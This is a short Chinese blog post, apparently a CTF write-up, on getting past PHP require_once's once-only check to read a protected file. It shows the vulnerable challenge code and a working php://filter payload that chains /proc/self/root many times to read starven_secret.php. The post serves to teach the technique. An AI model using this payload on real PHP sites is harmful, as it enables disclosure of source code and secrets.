符号链接突破目录限制

源码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}
?>

在 PHP 中,require_onceinclude_once 在调用时PHP 会先检查一个内部的记录结构(可近似理解为哈希表,存储已包含文件的路径信息),看要包含的文件路径是否已经存在于其中。如果存在,就不再重复执行包含操作;如果不存在,才会将文件内容包含进来,并把该文件的路径记录到这个结构中

小知识点

/proc/self:在 Linux 系统中,/proc 是一个虚拟文件系统,存储着当前系统运行进程的相关信息,/proc/self是一个特殊的符号链接,它会动态指向当前正在执行进程对应的 /proc/ 下的具体进程目录(目录名是进程 ID,即 /proc/pid/ )。例如,若当前进程 ID 是 1234 ,那么 /proc/self 就等同于 /proc/1234/

/proc/self/root:它也是一个符号链接,指向系统的根目录(/ ) 。在一些受限制的环境(如容器环境 )中,通过这个符号链接可以突破当前目录限制,访问到系统根目录下的文件

符号链接

符号链接也叫做软连接,是一类特殊文件,其本质是包含指向其他文件或目录的引用的文本文件,该引用以绝对路径或相对路径形式存在

payload

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

利用符号链接/proc/self/root突破目录限制,/proc/self/root作为指向根目录的符号链接,多次使用可突破代码可能存在的当前目录范围限制

可以利用/proc/self/root,可以构造出指向任意文件的路径,即使代码没用直接访问/var/www/html/starven_secret.php的权限,也可以通过/proc/self/root逐步导航到目标文件所在位置,从而绕过可能存在的目录访问限制,实现对敏感文件的访问


符号链接突破目录限制
https://yschen20.github.io/2025/04/25/符号链接突破目录限制/
作者
Suzen
发布于
2025年4月25日
更新于
2025年4月25日
许可协议